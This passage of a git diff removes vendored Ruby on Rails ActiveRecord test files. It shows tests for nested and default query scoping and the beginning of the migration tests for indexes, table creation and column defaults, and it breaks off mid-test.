-  fixtures :authors, :developers, :projects, :comments, :posts
-
-  def test_merge_options
-    Developer.with_scope(:find => { :conditions => 'salary = 80000' }) do
-      Developer.with_scope(:find => { :limit => 10 }) do
-        merged_option = Developer.instance_eval('current_scoped_methods')[:find]
-        assert_equal({ :conditions => 'salary = 80000', :limit => 10 }, merged_option)
-      end
-    end
-  end
-
-  def test_merge_inner_scope_has_priority
-    Developer.with_scope(:find => { :limit => 5 }) do
-      Developer.with_scope(:find => { :limit => 10 }) do
-        merged_option = Developer.instance_eval('current_scoped_methods')[:find]
-        assert_equal({ :limit => 10 }, merged_option)
-      end
-    end
-  end
-
-  def test_replace_options
-    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
-      Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
-        assert_equal({:find => { :conditions => "name = 'Jamis'" }}, Developer.instance_eval('current_scoped_methods'))
-        assert_equal({:find => { :conditions => "name = 'Jamis'" }}, Developer.send(:scoped_methods)[-1])
-      end
-    end
-  end
-
-  def test_append_conditions
-    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
-      Developer.with_scope(:find => { :conditions => 'salary = 80000' }) do
-        appended_condition = Developer.instance_eval('current_scoped_methods')[:find][:conditions]
-        assert_equal("(name = 'David') AND (salary = 80000)", appended_condition)
-        assert_equal(1, Developer.count)
-      end
-      Developer.with_scope(:find => { :conditions => "name = 'Maiha'" }) do
-        assert_equal(0, Developer.count)
-      end
-    end
-  end
-
-  def test_merge_and_append_options
-    Developer.with_scope(:find => { :conditions => 'salary = 80000', :limit => 10 }) do
-      Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
-        merged_option = Developer.instance_eval('current_scoped_methods')[:find]
-        assert_equal({ :conditions => "(salary = 80000) AND (name = 'David')", :limit => 10 }, merged_option)
-      end
-    end
-  end
-
-  def test_nested_scoped_find
-    Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
-      Developer.with_exclusive_scope(:find => { :conditions => "name = 'David'" }) do
-        assert_nothing_raised { Developer.find(1) }
-        assert_equal('David', Developer.find(:first).name)
-      end
-      assert_equal('Jamis', Developer.find(:first).name)
-    end
-  end
-
-  def test_nested_scoped_find_include
-    Developer.with_scope(:find => { :include => :projects }) do
-      Developer.with_scope(:find => { :conditions => "projects.id = 2" }) do
-        assert_nothing_raised { Developer.find(1) }
-        assert_equal('David', Developer.find(:first).name)
-      end
-    end
-  end
-
-  def test_nested_scoped_find_merged_include
-    # :include's remain unique and don't "double up" when merging
-    Developer.with_scope(:find => { :include => :projects, :conditions => "projects.id = 2" }) do
-      Developer.with_scope(:find => { :include => :projects }) do
-        assert_equal 1, Developer.instance_eval('current_scoped_methods')[:find][:include].length
-        assert_equal('David', Developer.find(:first).name)
-      end
-    end
-
-    # the nested scope doesn't remove the first :include
-    Developer.with_scope(:find => { :include => :projects, :conditions => "projects.id = 2" }) do
-      Developer.with_scope(:find => { :include => [] }) do
-        assert_equal 1, Developer.instance_eval('current_scoped_methods')[:find][:include].length
-        assert_equal('David', Developer.find(:first).name)
-      end
-    end
-
-    # mixing array and symbol include's will merge correctly
-    Developer.with_scope(:find => { :include => [:projects], :conditions => "projects.id = 2" }) do
-      Developer.with_scope(:find => { :include => :projects }) do
-        assert_equal 1, Developer.instance_eval('current_scoped_methods')[:find][:include].length
-        assert_equal('David', Developer.find(:first).name)
-      end
-    end
-  end
-
-  def test_nested_scoped_find_replace_include
-    Developer.with_scope(:find => { :include => :projects }) do
-      Developer.with_exclusive_scope(:find => { :include => [] }) do
-        assert_equal 0, Developer.instance_eval('current_scoped_methods')[:find][:include].length
-      end
-    end
-  end
-
-  def test_three_level_nested_exclusive_scoped_find
-    Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
-      assert_equal('Jamis', Developer.find(:first).name)
-
-      Developer.with_exclusive_scope(:find => { :conditions => "name = 'David'" }) do
-        assert_equal('David', Developer.find(:first).name)
-
-        Developer.with_exclusive_scope(:find => { :conditions => "name = 'Maiha'" }) do
-          assert_equal(nil, Developer.find(:first))
-        end
-
-        # ensure that scoping is restored
-        assert_equal('David', Developer.find(:first).name)
-      end
-
-      # ensure that scoping is restored
-      assert_equal('Jamis', Developer.find(:first).name)
-    end
-  end
-
-  def test_merged_scoped_find
-    poor_jamis = developers(:poor_jamis)
-    Developer.with_scope(:find => { :conditions => "salary < 100000" }) do
-      Developer.with_scope(:find => { :offset => 1, :order => 'id asc' }) do
-        assert_sql /ORDER BY id asc / do
-          assert_equal(poor_jamis, Developer.find(:first, :order => 'id asc'))
-        end
-      end
-    end
-  end
-
-  def test_merged_scoped_find_sanitizes_conditions
-    Developer.with_scope(:find => { :conditions => ["name = ?", 'David'] }) do
-      Developer.with_scope(:find => { :conditions => ['salary = ?', 9000] }) do
-        assert_raise(ActiveRecord::RecordNotFound) { developers(:poor_jamis) }
-      end
-    end
-  end
-
-  def test_nested_scoped_find_combines_and_sanitizes_conditions
-    Developer.with_scope(:find => { :conditions => ["name = ?", 'David'] }) do
-      Developer.with_exclusive_scope(:find => { :conditions => ['salary = ?', 9000] }) do
-        assert_equal developers(:poor_jamis), Developer.find(:first)
-        assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => ['name = ?', 'Jamis'])
-      end
-    end
-  end
-
-  def test_merged_scoped_find_combines_and_sanitizes_conditions
-    Developer.with_scope(:find => { :conditions => ["name = ?", 'David'] }) do
-      Developer.with_scope(:find => { :conditions => ['salary > ?', 9000] }) do
-        assert_equal %w(David), Developer.find(:all).map { |d| d.name }
-      end
-    end
-  end
-
-  def test_nested_scoped_create
-    comment = nil
-    Comment.with_scope(:create => { :post_id => 1}) do
-      Comment.with_scope(:create => { :post_id => 2}) do
-        assert_equal({ :post_id => 2 }, Comment.send(:current_scoped_methods)[:create])
-        comment = Comment.create :body => "Hey guys, nested scopes are broken. Please fix!"
-      end
-    end
-    assert_equal 2, comment.post_id
-  end
-
-  def test_nested_exclusive_scope_for_create
-    comment = nil
-    Comment.with_scope(:create => { :body => "Hey guys, nested scopes are broken. Please fix!" }) do
-      Comment.with_exclusive_scope(:create => { :post_id => 1 }) do
-        assert_equal({ :post_id => 1 }, Comment.send(:current_scoped_methods)[:create])
-        comment = Comment.create :body => "Hey guys"
-      end
-    end
-    assert_equal 1, comment.post_id
-    assert_equal 'Hey guys', comment.body
-  end
-
-  def test_merged_scoped_find_on_blank_conditions
-    [nil, " ", [], {}].each do |blank|
-      Developer.with_scope(:find => {:conditions => blank}) do
-        Developer.with_scope(:find => {:conditions => blank}) do
-          assert_nothing_raised { Developer.find(:first) }
-        end
-      end
-    end
-  end
-
-  def test_merged_scoped_find_on_blank_bind_conditions
-    [ [""], ["",{}] ].each do |blank|
-      Developer.with_scope(:find => {:conditions => blank}) do
-        Developer.with_scope(:find => {:conditions => blank}) do
-          assert_nothing_raised { Developer.find(:first) }
-        end
-      end
-    end
-  end
-
-  def test_immutable_nested_scope
-    options1 = { :conditions => "name = 'Jamis'" }
-    options2 = { :conditions => "name = 'David'" }
-    Developer.with_scope(:find => options1) do
-      Developer.with_exclusive_scope(:find => options2) do
-        assert_equal %w(David), Developer.find(:all).map { |d| d.name }
-        options1[:conditions] = options2[:conditions] = nil
-        assert_equal %w(David), Developer.find(:all).map { |d| d.name }
-      end
-    end
-  end
-
-  def test_immutable_merged_scope
-    options1 = { :conditions => "name = 'Jamis'" }
-    options2 = { :conditions => "salary > 10000" }
-    Developer.with_scope(:find => options1) do
-      Developer.with_scope(:find => options2) do
-        assert_equal %w(Jamis), Developer.find(:all).map { |d| d.name }
-        options1[:conditions] = options2[:conditions] = nil
-        assert_equal %w(Jamis), Developer.find(:all).map { |d| d.name }
-      end
-    end
-  end
-
-  def test_ensure_that_method_scoping_is_correctly_restored
-    Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
-      scoped_methods = Developer.instance_eval('current_scoped_methods')
-      begin
-        Developer.with_scope(:find => { :conditions => "name = 'Maiha'" }) do
-          raise "an exception"
-        end
-      rescue
-      end
-      assert_equal scoped_methods, Developer.instance_eval('current_scoped_methods')
-    end
-  end
-
-  def test_nested_scoped_find_merges_old_style_joins
-    scoped_authors = Author.with_scope(:find => { :joins => 'INNER JOIN posts ON authors.id = posts.author_id' }) do
-      Author.with_scope(:find => { :joins => 'INNER JOIN comments ON posts.id = comments.post_id' }) do
-        Author.find(:all, :select => 'DISTINCT authors.*', :conditions => 'comments.id = 1')
-      end
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_nested_scoped_find_merges_new_style_joins
-    scoped_authors = Author.with_scope(:find => { :joins => :posts }) do
-      Author.with_scope(:find => { :joins => :comments }) do
-        Author.find(:all, :select => 'DISTINCT authors.*', :conditions => 'comments.id = 1')
-      end
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-
-  def test_nested_scoped_find_merges_new_and_old_style_joins
-    scoped_authors = Author.with_scope(:find => { :joins => :posts }) do
-      Author.with_scope(:find => { :joins => 'INNER JOIN comments ON posts.id = comments.post_id' }) do
-        Author.find(:all, :select => 'DISTINCT authors.*', :joins => '', :conditions => 'comments.id = 1')
-      end
-    end
-    assert scoped_authors.include?(authors(:david))
-    assert !scoped_authors.include?(authors(:mary))
-    assert_equal 1, scoped_authors.size
-    assert_equal authors(:david).attributes, scoped_authors.first.attributes
-  end
-end
-
-class HasManyScopingTest< ActiveRecord::TestCase
-  fixtures :comments, :posts
-
-  def setup
-    @welcome = Post.find(1)
-  end
-
-  def test_forwarding_of_static_methods
-    assert_equal 'a comment...', Comment.what_are_you
-    assert_equal 'a comment...', @welcome.comments.what_are_you
-  end
-
-  def test_forwarding_to_scoped
-    assert_equal 4, Comment.search_by_type('Comment').size
-    assert_equal 2, @welcome.comments.search_by_type('Comment').size
-  end
-
-  def test_forwarding_to_dynamic_finders
-    assert_equal 4, Comment.find_all_by_type('Comment').size
-    assert_equal 2, @welcome.comments.find_all_by_type('Comment').size
-  end
-
-  def test_nested_scope
-    Comment.with_scope(:find => { :conditions => '1=1' }) do
-      assert_equal 'a comment...', @welcome.comments.what_are_you
-    end
-  end
-end
-
-class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
-  fixtures :posts, :categories, :categories_posts
-
-  def setup
-    @welcome = Post.find(1)
-  end
-
-  def test_forwarding_of_static_methods
-    assert_equal 'a category...', Category.what_are_you
-    assert_equal 'a category...', @welcome.categories.what_are_you
-  end
-
-  def test_forwarding_to_dynamic_finders
-    assert_equal 4, Category.find_all_by_type('SpecialCategory').size
-    assert_equal 0, @welcome.categories.find_all_by_type('SpecialCategory').size
-    assert_equal 2, @welcome.categories.find_all_by_type('Category').size
-  end
-
-  def test_nested_scope
-    Category.with_scope(:find => { :conditions => '1=1' }) do
-      assert_equal 'a comment...', @welcome.comments.what_are_you
-    end
-  end
-end
-
-class DefaultScopingTest < ActiveRecord::TestCase
-  fixtures :developers
-
-  def test_default_scope
-    expected = Developer.find(:all, :order => 'salary DESC').collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
-    assert_equal expected, received
-  end
-
-  def test_default_scope_with_conditions_string
-    assert_equal Developer.find_all_by_name('David').map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
-    assert_equal nil, DeveloperCalledDavid.create!.name
-  end
-
-  def test_default_scope_with_conditions_hash
-    assert_equal Developer.find_all_by_name('Jamis').map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
-    assert_equal 'Jamis', DeveloperCalledJamis.create!.name
-  end
-
-  def test_default_scoping_with_threads
-    scope = [{ :create => {}, :find => { :order => 'salary DESC' } }]
-
-    2.times do
-      Thread.new { assert_equal scope, DeveloperOrderedBySalary.send(:scoped_methods) }.join
-    end
-  end
-
-  def test_default_scoping_with_inheritance
-    scope = [{ :create => {}, :find => { :order => 'salary DESC' } }]
-
-    # Inherit a class having a default scope and define a new default scope
-    klass = Class.new(DeveloperOrderedBySalary)
-    klass.send :default_scope, {}
-
-    # Scopes added on children should append to parent scope
-    expected_klass_scope = [{ :create => {}, :find => { :order => 'salary DESC' }}, { :create => {}, :find => {} }]
-    assert_equal expected_klass_scope, klass.send(:scoped_methods)
-
-    # Parent should still have the original scope
-    assert_equal scope, DeveloperOrderedBySalary.send(:scoped_methods)
-  end
-
-  def test_method_scope
-    expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.all_ordered_by_name.collect { |dev| dev.salary }
-    assert_equal expected, received
-  end
-
-  def test_nested_scope
-    expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.with_scope(:find => { :order => 'name DESC'}) do
-      DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
-    end
-    assert_equal expected, received
-  end
-
-  def test_named_scope_overwrites_default
-    expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.by_name.find(:all).collect { |dev| dev.name }
-    assert_equal expected, received
-  end
-
-  def test_nested_exclusive_scope
-    expected = Developer.find(:all, :limit => 100).collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.with_exclusive_scope(:find => { :limit => 100 }) do
-      DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
-    end
-    assert_equal expected, received
-  end
-
-  def test_overwriting_default_scope
-    expected = Developer.find(:all, :order => 'salary').collect { |dev| dev.salary }
-    received = DeveloperOrderedBySalary.find(:all, :order => 'salary').collect { |dev| dev.salary }
-    assert_equal expected, received
-  end
-end
-
-=begin
-# We disabled the scoping for has_one and belongs_to as we can't think of a proper use case
-
-class BelongsToScopingTest< ActiveRecord::TestCase
-  fixtures :comments, :posts
-
-  def setup
-    @greetings = Comment.find(1)
-  end
-
-  def test_forwarding_of_static_method
-    assert_equal 'a post...', Post.what_are_you
-    assert_equal 'a post...', @greetings.post.what_are_you
-  end
-
-  def test_forwarding_to_dynamic_finders
-    assert_equal 4, Post.find_all_by_type('Post').size
-    assert_equal 1, @greetings.post.find_all_by_type('Post').size
-  end
-
-end
-
-class HasOneScopingTest< ActiveRecord::TestCase
-  fixtures :comments, :posts
-
-  def setup
-    @sti_comments = Post.find(4)
-  end
-
-  def test_forwarding_of_static_methods
-    assert_equal 'a comment...', Comment.what_are_you
-    assert_equal 'a very special comment...', @sti_comments.very_special_comment.what_are_you
-  end
-
-  def test_forwarding_to_dynamic_finders
-    assert_equal 1, Comment.find_all_by_type('VerySpecialComment').size
-    assert_equal 1, @sti_comments.very_special_comment.find_all_by_type('VerySpecialComment').size
-    assert_equal 0, @sti_comments.very_special_comment.find_all_by_type('Comment').size
-  end
-
-end
-
-=end
diff --git a/vendor/rails/activerecord/test/cases/migration_test.rb b/vendor/rails/activerecord/test/cases/migration_test.rb
deleted file mode 100644
index 4692f914..00000000
--- a/vendor/rails/activerecord/test/cases/migration_test.rb
+++ /dev/null
@@ -1,1649 +0,0 @@
-require "cases/helper"
-require 'bigdecimal/util'
-
-require 'models/person'
-require 'models/topic'
-require 'models/developer'
-
-require MIGRATIONS_ROOT + "/valid/1_people_have_last_names"
-require MIGRATIONS_ROOT + "/valid/2_we_need_reminders"
-require MIGRATIONS_ROOT + "/decimal/1_give_me_big_numbers"
-require MIGRATIONS_ROOT + "/interleaved/pass_3/2_i_raise_on_down"
-
-if ActiveRecord::Base.connection.supports_migrations?
-  class BigNumber < ActiveRecord::Base; end
-
-  class Reminder < ActiveRecord::Base; end
-
-  class ActiveRecord::Migration
-    class <<self
-      attr_accessor :message_count
-      def puts(text="")
-        self.message_count ||= 0
-        self.message_count += 1
-      end
-    end
-  end
-
-  class MigrationTableAndIndexTest < ActiveRecord::TestCase
-    def test_add_schema_info_respects_prefix_and_suffix
-      conn = ActiveRecord::Base.connection
-
-      conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
-      ActiveRecord::Base.table_name_prefix = 'foo_'
-      ActiveRecord::Base.table_name_suffix = '_bar'
-      conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
-
-      conn.initialize_schema_migrations_table
-
-      assert_equal "foo_unique_schema_migrations_bar", conn.indexes(ActiveRecord::Migrator.schema_migrations_table_name)[0][:name]
-    ensure
-      ActiveRecord::Base.table_name_prefix = ""
-      ActiveRecord::Base.table_name_suffix = ""
-    end
-  end
-
-  class MigrationTest < ActiveRecord::TestCase
-    self.use_transactional_fixtures = false
-
-    fixtures :people
-
-    def setup
-      ActiveRecord::Migration.verbose = true
-      PeopleHaveLastNames.message_count = 0
-    end
-
-    def teardown
-      ActiveRecord::Base.connection.initialize_schema_migrations_table
-      ActiveRecord::Base.connection.execute "DELETE FROM #{ActiveRecord::Migrator.schema_migrations_table_name}"
-
-      %w(reminders people_reminders prefix_reminders_suffix).each do |table|
-        Reminder.connection.drop_table(table) rescue nil
-      end
-      Reminder.reset_column_information
-
-      %w(last_name key bio age height wealth birthday favorite_day
-         moment_of_truth male administrator funny).each do |column|
-        Person.connection.remove_column('people', column) rescue nil
-      end
-      Person.connection.remove_column("people", "first_name") rescue nil
-      Person.connection.remove_column("people", "middle_name") rescue nil
-      Person.connection.add_column("people", "first_name", :string, :limit => 40)
-      Person.reset_column_information
-    end
-
-    def test_add_index
-      # Limit size of last_name and key columns to support Firebird index limitations
-      Person.connection.add_column "people", "last_name", :string, :limit => 100
-      Person.connection.add_column "people", "key", :string, :limit => 100
-      Person.connection.add_column "people", "administrator", :boolean
-
-      assert_nothing_raised { Person.connection.add_index("people", "last_name") }
-      assert_nothing_raised { Person.connection.remove_index("people", "last_name") }
-
-      # Orcl nds shrt indx nms.  Sybs 2.
-      # OpenBase does not have named indexes.  You must specify a single column name
-      unless current_adapter?(:OracleAdapter, :SybaseAdapter, :OpenBaseAdapter)
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.remove_index("people", :column => ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.remove_index("people", :name => "index_people_on_last_name_and_first_name") }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.remove_index("people", "last_name_and_first_name") }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name"], :length => 10) }
-        assert_nothing_raised { Person.connection.remove_index("people", "last_name") }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name"], :length => {:last_name => 10}) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :length => 10) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
-        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"], :length => {:last_name => 10, :first_name => 20}) }
-        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
-      end
-
-      # quoting
-      # Note: changed index name from "key" to "key_idx" since "key" is a Firebird reserved word
-      # OpenBase does not have named indexes.  You must specify a single column name
-      unless current_adapter?(:OpenBaseAdapter)
-        Person.update_all "#{Person.connection.quote_column_name 'key'}=#{Person.connection.quote_column_name 'id'}" #some databases (including sqlite2 won't add a unique index if existing data non unique)
-        assert_nothing_raised { Person.connection.add_index("people", ["key"], :name => "key_idx", :unique => true) }
-        assert_nothing_raised { Person.connection.remove_index("people", :name => "key_idx", :unique => true) }
-      end
-
-      # Sybase adapter does not support indexes on :boolean columns
-      # OpenBase does not have named indexes.  You must specify a single column
-      unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
-        assert_nothing_raised { Person.connection.add_index("people", %w(last_name first_name administrator), :name => "named_admin") }
-        assert_nothing_raised { Person.connection.remove_index("people", :name => "named_admin") }
-      end
-    end
-
-    def test_index_symbol_names
-      assert_nothing_raised { Person.connection.add_index :people, :primary_contact_id, :name => :symbol_index_name }
-      assert Person.connection.index_exists?(:people, :symbol_index_name, true)
-      assert_nothing_raised { Person.connection.remove_index :people, :name => :symbol_index_name }
-      assert_equal true, !Person.connection.index_exists?(:people, :symbol_index_name, false)
-    end
-
-    def test_add_index_length_limit
-      good_index_name = 'x' * Person.connection.index_name_length
-      too_long_index_name = good_index_name + 'x'
-      assert_nothing_raised { Person.connection.add_index("people", "first_name", :name => too_long_index_name) }
-      assert !Person.connection.index_exists?("people", too_long_index_name, false)
-      assert_nothing_raised { Person.connection.add_index("people", "first_name", :name => good_index_name) }
-      assert Person.connection.index_exists?("people", good_index_name, false)
-    end
-
-    def test_remove_nonexistent_index
-      # we do this by name, so OpenBase is a wash as noted above
-      unless current_adapter?(:OpenBaseAdapter)
-        assert_nothing_raised { Person.connection.remove_index("people", "no_such_index") }
-      end
-    end
-
-    def test_rename_index
-      unless current_adapter?(:OpenBaseAdapter)
-        # keep the names short to make Oracle and similar behave
-        Person.connection.add_index('people', [:first_name], :name => 'old_idx')
-        assert_nothing_raised { Person.connection.rename_index('people', 'old_idx', 'new_idx') }
-        # if the adapter doesn't support the indexes call, pick defaults that let the test pass
-        assert !Person.connection.index_exists?('people', 'old_idx', false)
-        assert Person.connection.index_exists?('people', 'new_idx', true)
-      end
-    end
-
-    def test_double_add_index
-      unless current_adapter?(:OpenBaseAdapter)
-        Person.connection.add_index('people', [:first_name], :name => 'some_idx')
-        assert_nothing_raised { Person.connection.add_index('people', [:first_name], :name => 'some_idx') }
-      end
-    end
-
-    def testing_table_with_only_foo_attribute
-      Person.connection.create_table :testings, :id => false do |t|
-        t.column :foo, :string
-      end
-
-      yield Person.connection
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-    protected :testing_table_with_only_foo_attribute
-
-    def test_create_table_without_id
-      testing_table_with_only_foo_attribute do |connection|
-        assert_equal connection.columns(:testings).size, 1
-      end
-    end
-
-    def test_add_column_with_primary_key_attribute
-      testing_table_with_only_foo_attribute do |connection|
-        assert_nothing_raised { connection.add_column :testings, :id, :primary_key }
-        assert_equal connection.columns(:testings).size, 2
-      end
-    end
-
-    def test_create_table_adds_id
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string
-      end
-
-      assert_equal %w(foo id),
-        Person.connection.columns(:testings).map { |c| c.name }.sort
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_create_table_with_not_null_column
-      assert_nothing_raised do
-        Person.connection.create_table :testings do |t|
-          t.column :foo, :string, :null => false
-        end
-      end
-
-      assert_raise(ActiveRecord::StatementInvalid) do
-        Person.connection.execute "insert into testings (foo) values (NULL)"
-      end
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_create_table_with_defaults
-      # MySQL doesn't allow defaults on TEXT or BLOB columns.
-      mysql = current_adapter?(:MysqlAdapter)
-
-      Person.connection.create_table :testings do |t|
-        t.column :one, :string, :default => "hello"
-        t.column :two, :boolean, :default => true
-        t.column :three, :boolean, :default => false
-        t.column :four, :integer, :default => 1
-        t.column :five, :text, :default => "hello" unless mysql
-      end
-
-      columns = Person.connection.columns(:testings)
-      one = columns.detect { |c| c.name == "one" }
-      two = columns.detect { |c| c.name == "two" }
-      three = columns.detect { |c| c.name == "three" }
-      four = columns.detect { |c| c.name == "four" }
-      five = columns.detect { |c| c.name == "five" } unless mysql
-
-      assert_equal "hello", one.default
-      assert_equal true, two.default
-      assert_equal false, three.default
-      assert_equal 1, four.default
-      assert_equal "hello", five.default unless mysql
-
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_create_table_with_limits
-      assert_nothing_raised do
-        Person.connection.create_table :testings do |t|
-          t.column :foo, :string, :limit => 255
-
-          t.column :default_int, :integer
-
-          t.column :one_int,    :integer, :limit => 1
-          t.column :four_int,   :integer, :limit => 4
-          t.column :eight_int,  :integer, :limit => 8
-          t.column :eleven_int, :integer, :limit => 11
-        end
-      end
-
-      columns = Person.connection.columns(:testings)
-      foo = columns.detect { |c| c.name == "foo" }
-      assert_equal 255, foo.limit
-
-      default = columns.detect { |c| c.name == "default_int" }
-      one     = columns.detect { |c| c.name == "one_int"     }
-      four    = columns.detect { |c| c.name == "four_int"    }
-      eight   = columns.detect { |c| c.name == "eight_int"   }
-      eleven  = columns.detect { |c| c.name == "eleven_int"   }
-
-      if current_adapter?(:PostgreSQLAdapter)
-        assert_equal 'integer', default.sql_type
-        assert_equal 'smallint', one.sql_type
-        assert_equal 'integer', four.sql_type
-        assert_equal 'bigint', eight.sql_type
-        assert_equal 'integer', eleven.sql_type
-      elsif current_adapter?(:MysqlAdapter)
-        assert_match 'int(11)', default.sql_type
-        assert_match 'tinyint', one.sql_type
-        assert_match 'int', four.sql_type
-        assert_match 'bigint', eight.sql_type
-        assert_match 'int(11)', eleven.sql_type
-      elsif current_adapter?(:OracleAdapter)
-        assert_equal 'NUMBER(38)', default.sql_type
-        assert_equal 'NUMBER(1)', one.sql_type
-        assert_equal 'NUMBER(4)', four.sql_type
-        assert_equal 'NUMBER(8)', eight.sql_type
-      end
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_create_table_with_primary_key_prefix_as_table_name_with_underscore
-      ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
-
-      Person.connection.create_table :testings do |t|
-          t.column :foo, :string
-      end
-
-      assert_equal %w(foo testing_id), Person.connection.columns(:testings).map { |c| c.name }.sort
-    ensure
-      Person.connection.drop_table :testings rescue nil
-      ActiveRecord::Base.primary_key_prefix_type = nil
-    end
-
-    def test_create_table_with_primary_key_prefix_as_table_name
-      ActiveRecord::Base.primary_key_prefix_type = :table_name
-
-      Person.connection.create_table :testings do |t|
-          t.column :foo, :string
-      end
-
-      assert_equal %w(foo testingid), Person.connection.columns(:testings).map { |c| c.name }.sort
-    ensure
-      Person.connection.drop_table :testings rescue nil
-      ActiveRecord::Base.primary_key_prefix_type = nil
-    end
-
-    def test_create_table_with_force_true_does_not_drop_nonexisting_table
-      if Person.connection.table_exists?(:testings2)
-        Person.connection.drop_table :testings2
-      end
-
-      # using a copy as we need the drop_table method to
-      # continue to work for the ensure block of the test
-      temp_conn = Person.connection.dup
-      temp_conn.expects(:drop_table).never
-      temp_conn.create_table :testings2, :force => true do |t|
-        t.column :foo, :string
-      end
-    ensure
-      Person.connection.drop_table :testings2 rescue nil
-    end
-
-    def test_create_table_with_timestamps_should_create_datetime_columns
-      table_name = :testings
-
-      Person.connection.create_table table_name do |t|
-        t.timestamps
-      end
-      created_columns = Person.connection.columns(table_name)
-
-      created_at_column = created_columns.detect {|c| c.name == 'created_at' }
-      updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
-
-      assert created_at_column.null
-      assert updated_at_column.null
-    ensure
-      Person.connection.drop_table table_name rescue nil
-    end
-
-    def test_create_table_with_timestamps_should_create_datetime_columns_with_options
-      table_name = :testings
-
-      Person.connection.create_table table_name do |t|
-        t.timestamps :null => false
-      end
-      created_columns = Person.connection.columns(table_name)
-
-      created_at_column = created_columns.detect {|c| c.name == 'created_at' }
-      updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
-
-      assert !created_at_column.null
-      assert !updated_at_column.null
-    ensure
-      Person.connection.drop_table table_name rescue nil
-    end
-
-    def test_create_table_without_a_block
-      table_name = :testings
-      Person.connection.create_table table_name
-    ensure
-      Person.connection.drop_table table_name rescue nil
-    end
-
-    # Sybase, and SQLite3 will not allow you to add a NOT NULL
-    # column to a table without a default value.
-    unless current_adapter?(:SybaseAdapter, :SQLiteAdapter)
-      def test_add_column_not_null_without_default
-        Person.connection.create_table :testings do |t|
-          t.column :foo, :string
-        end
-        Person.connection.add_column :testings, :bar, :string, :null => false
-
-        assert_raise(ActiveRecord::StatementInvalid) do
-          Person.connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
-        end
-      ensure
-        Person.connection.drop_table :testings rescue nil
-      end
-    end
-
-    def test_add_column_not_null_with_default
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string
-      end
-
-      con = Person.connection
-      Person.connection.enable_identity_insert("testings", true) if current_adapter?(:SybaseAdapter)
-      Person.connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}) values (1, 'hello')"
-      Person.connection.enable_identity_insert("testings", false) if current_adapter?(:SybaseAdapter)
-      assert_nothing_raised {Person.connection.add_column :testings, :bar, :string, :null => false, :default => "default" }
-
-      assert_raise(ActiveRecord::StatementInvalid) do
-        unless current_adapter?(:OpenBaseAdapter)
-          Person.connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
-        else
-          Person.connection.insert("INSERT INTO testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) VALUES (2, 'hello', NULL)",
-            "Testing Insert","id",2)
-        end
-      end
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    # We specifically do a manual INSERT here, and then test only the SELECT
-    # functionality. This allows us to more easily catch INSERT being broken,
-    # but SELECT actually working fine.
-    def test_native_decimal_insert_manual_vs_automatic
-      correct_value = '0012345678901234567890.0123456789'.to_d
-
-      Person.delete_all
